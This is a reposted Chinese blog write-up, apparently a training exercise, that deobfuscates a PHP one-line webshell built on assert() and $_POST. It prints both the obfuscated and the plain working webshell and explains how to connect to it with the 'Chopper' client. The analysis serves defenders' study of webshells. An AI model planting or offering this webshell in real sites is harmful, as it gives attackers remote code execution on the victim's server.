博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
WebShell代码分析溯源(第1题)
阅读量:6332 次
发布时间:2019-06-22

本文共 383 字,大约阅读时间需要 1 分钟。

 

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>

assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数)

因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组

这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马

<?php assert($_POST['assert']);?>

构造菜刀 ip/www/index.php?POST=assert 密码为assert

 

转载于:https://www.cnblogs.com/WhiteHatKevil/p/10301115.html

你可能感兴趣的文章
bash的基础特性二
查看>>
代码审查
查看>>
新的Loki恶意软件变种正在通过网络钓鱼电子邮件传播
查看>>
Spring Cloud构建微服务架构—服务消费(Ribbon)
查看>>
MySQL主从同步常见报错的解决办法2
查看>>
Confluence 6 从你的 JDBC 连接中直接启用校验查询
查看>>
Confluence 6 home 目录中的内容
查看>>
跳槽面试时不能说的六大离职理由
查看>>
网络的远与近
查看>>
java对称加为密DESede 与 非对称加密RSA 示例
查看>>
ES6 结构和扩展运算符
查看>>
王利阳:电商大促 决战6.18
查看>>
kafka消息传输的事务定义
查看>>
JAVA 后台数据校验
查看>>
域用户权限|安装软件
查看>>
2012年《昨天,今天,明天》
查看>>
实现LNMMP
查看>>
mysql的pid文件出现问题
查看>>
计算rem单位
查看>>
为什么说你不要独自编程
查看>>